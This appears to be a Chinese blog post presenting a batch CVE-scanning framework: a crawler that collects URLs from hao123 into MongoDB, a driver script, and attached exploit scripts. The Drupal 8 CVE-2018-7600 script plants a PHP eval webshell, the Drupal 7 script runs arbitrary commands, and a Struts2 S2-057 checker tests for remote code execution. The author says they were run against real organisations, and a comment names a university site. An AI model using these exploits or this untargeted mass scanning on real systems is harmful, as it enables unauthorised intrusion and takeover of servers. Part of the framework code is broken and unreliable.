前几天为了扫一批新出的cve目标,写了个批量的框架。主要是利用爬虫爬取URL、title信息,存到MongoDB里,然后调用POC批量扫描。写的比较简单,看看就好。
附加的几个POC,扫出来存在漏洞的部门和公司已经发了通告,所以借鉴一下就好,不要搞事情啊。
spider.py
# !/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib.request
import re
from pymongo import MongoClient
def findSubStr(substr, str, i):
count = 0
while i > 0:
index = str.find(substr)
if index == -1:
return -1
else:
str = str[index+1:]
i -= 1
count = count + index + 1
return count - 1
def updatestate(url):
client = MongoClient(host="localhost", port=27017)
db = client.CvetestURL
col = db.col
db.col.update_one({"url": url},{"$set": {"state": -1}})
def updateheader(url,respheader):
client = MongoClient(host="localhost", port=27017)
db = client.CvetestURL
col = db.col
db.col.update_one({"url": url},{"$set": {"header": respheader}})
#db.col.update_one({"url": url},{"$set": {"url": newurl}})
def insertdb(href,name):
conn = MongoClient('localhost',27017)
db = conn.CvetestURL
col = db.col
#data1 = {'name':name, 'url':href, 'state':1,'header':''} #state: to do:1,done:-1
#db.col.insert(data1)
result1 = col.find({'url':href})
if result1.count() == 0:
data1 = {'name':name, 'url':href, 'state':1, 'header':'', 'teststate':1} #state: to do:1,done:-1
db.col.insert(data1)
def crawl(url):
headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'
}
req=urllib.request.Request(url=url,headers=headers)
resp=urllib.request.urlopen(req)
updatestate(url)
if resp.reason.lower()=='ok':
respheader=resp.getheaders()
#newurl=resp.geturl()
updateheader(url,respheader)
html=resp.read().decode('utf-8')
pattern=r'<a.*?href="([^\s]+?)">(\w+?)</a>'
result=re.compile(pattern,re.DOTALL).findall(html)
data=set()
for i in result:
href=i[0]
name=i[1]
if href.find('http') < 0:
href = url + href
pos = findSubStr('/',href,3)
if pos > 0:
href = href[0:pos]
insertdb(href,name)
'''
with open('G:/Scrapy爬虫/SinanewsSpider/SinanewsSpider/hao123.txt',mode='w',encoding='utf-8') as f:
for i in data:
f.write(i+'\n\n')
'''
if __name__ == '__main__':
url = 'https://www.hao123.com'
name = '360导航页'
insertdb(url,name)
crawl(url)
'''
while True:
url = db.users.find_one({'state':'1'})
if url == False:
break
updatestate(url)
crawl(url)
'''
main.py
# -*- coding: utf-8 -*-
import sys
import os
import subprocess
import time
import pymongo
def mongofind(searchtext):
client = MongoClient(host="localhost", port=27017)
db = client.CvetestURL
col = db.col
result = col.find_one({ $and: [ searchtext , { teststate: {$regex: 1} } ] })#searchtext格式 eg:{ intro: {$regex: 'test'} }
def file_name(file_dir):
L=[]
for dirpath, dirnames, filenames in os.walk(file_dir):
for file in filenames :
if os.path.splitext(file)[1] == '.py':
L.append(os.path.join(dirpath, file))
return L
#import os.path
def traversalDir_FirstDir(path):
list = []
if (os.path.exists(path)):
files = os.listdir(path)
for file in files:
m = os.path.join(path,file)
if (os.path.isdir(m)):
h = os.path.split(m)
#print h[1]
list.append(h[1])
return list
'''
def mongosearch():
queryArgs = {}
projectionFields = {'_id':True, 'key':True} #指定查询内容
searchRes = db_coll.find(queryArgs, projection = projectionFields)
'''
def main():
print ('################################################################')
print ("# CVE-Test-System #")
print ("# Author:Kolongmashin #")
print ('################################################################')
top1 = os.path.dirname(os.path.realpath(__file__))
Dir = traversalDir_FirstDir(top1)
print(Dir)
str1 = input("Enter your operation:");
if os.path.exists(str1):
top2 = top1 + "/" + str1
list = file_name(top2)
print(list)
str2 = input("Enter your python filename: ");
str3 = str1 + "/" + str2
if os.path.exists(str3):
'''
f = open("url.txt","r") #在url.txt读取url信息
lines = f.readlines()#读取全部内容
for line in lines:
url = line.replace('\n','')
cmd2 = "python " + str3 + " http://" + url + " >> 8.txt"
print (cmd2)
#output = os.popen(" ".join(cmd)).readlines()
os.system(cmd2)
time.sleep(1)
'''
str4 = str1 + "/search.txt"#mongo数据库读取url信息
f = open(str4) #每个cve下search.txt存放需要在数据库内查询的内容
searchtext = f.readlines() #searchtext格式 eg:{ intro: {$regex: 'test'} }
searchtext = searchtext.replace('\n','')
while True:
url = mongofind(searchtext)
if url == False:
break
cmd2 = "python " + str3 + " http://" + url + " >> result.txt"
else:
print("The input is wrong!")
print("The file does not exist!")
else:
print("The input is wrong!")
print("The dir does not exist!")
if __name__ == '__main__':
main()
这里附上几个已经改好的POC。
cve-2018-7600(Drupal 8)
#!/usr/bin/env python3
import sys
import requests
#print ('################################################################')
#print ('# CVE-2018-7600')
#print ('# Author:Kolongmashin')
#print ('################################################################')
#print ('Provided only for educational or information purposes\n')
target = sys.argv[1] + "/"
#print ('target:',target)
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
#<?php @eval($_POST[\"aaa\"]);?>
#payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "(-:" | tee hello1.txt'}
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': '<?php eval($_POST[thisisatest]);?>'}
#form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=whoami
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello1.txt', verify=verify)
if check.status_code != 200:
#sys.exit("Not exploitable")
print ("Not exploitable")
#print ('target:',target)
else:
print ('\nCheck: '+target+'hello1.txt')
cve-2018-7600(Drupal 7)
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).
''')
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="whoami", help="Command to execute (default = whoami)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-p", "--proxy", default="http://127.0.0.1:8080/", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, function, command, proxy):
requests.packages.urllib3.disable_warnings()
#proxies = {'http': proxy, 'https': proxy}
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
print('[*] Poisoning a form and including it in cache.')
get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, "html.parser")
try:
form = soup.find('form', {'id': 'user-pass'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/name/#value/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('=============================================================================')
print ('| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |')
print ('| by kolongmashin |')
print ('=============================================================================\n')
args = get_args() # get the cl args
print (args)
pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
#www.math.ntu.edu.tw
if __name__ == '__main__':
main()
cve-2018-11776(Struct2 S2-057)
#!/usr/bin/env python3
# kolongmashin
#
import requests,sys,random,json
requests.packages.urllib3.disable_warnings()
from urllib import parse
def info():
s2_057 = {"id": "CVE-2018-11776", "kind": "web", "type": "Remote Command Execution", "name": "Struts2 \u547d\u4ee4\u6267\u884c\u6f0f\u6d1eCVE-2018-11776", "status": "high", "description": "", "expansion": "", "resolution": "", "method": "POST", "payload": "", "header": "", "body": "", "affectedComponent": [{"name": "WebLogic", "description": "Struts2\u662f\u4e00\u4e2a\u57fa\u4e8eMVC\u8bbe\u8ba1\u6a21\u5f0f\u7684Web\u5e94\u7528\u6846\u67b6\uff0c\u5b83\u672c\u8d28\u4e0a\u76f8\u5f53\u4e8e\u4e00\u4e2aservlet\uff0c\u5728MVC\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0cStruts2\u4f5c\u4e3a\u63a7\u5236\u5668(Controller)\u6765\u5efa\u7acb\u6a21\u578b\u4e0e\u89c6\u56fe\u7684\u6570\u636e\u4ea4\u4e92"}]}
def poc(url):
try:
retval = False
headers = dict()
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0'
r1 = random.randint(10000,99999)
r2 = random.randint(10000,99999)
r3 = r1 + r2
urlOne = url
res = requests.get(url=urlOne,timeout=6,allow_redirects=False,verify=False)
if res.status_code == 200:
urlTemp = parse.urlparse(urlOne)
urlTwo = urlTemp.scheme + '://' + urlTemp.netloc + '/${%s+%s}/index.action'%(r1,r2)
res = requests.get(url=urlTwo,timeout=6,allow_redirects=False,verify=False)
if res.status_code == 302 and res.headers.get('Location') is not None and str(r3) in res.headers.get('Location'):
urlThree = res.headers.get('Location')
res = requests.get(url=urlThree,timeout=6,allow_redirects=False,verify=False)
retval |= str(r3) in res.text
except:pass
finally:
if retval:
print('URL {} 存在s2-057 CVE-2018-11776 漏洞!'.format(url))
else:
print('URL {} 不存在s2-057 CVE-2018-11776 漏洞!'.format(url))
if __name__ == '__main__':
args = sys.argv[1]
poc(url=args)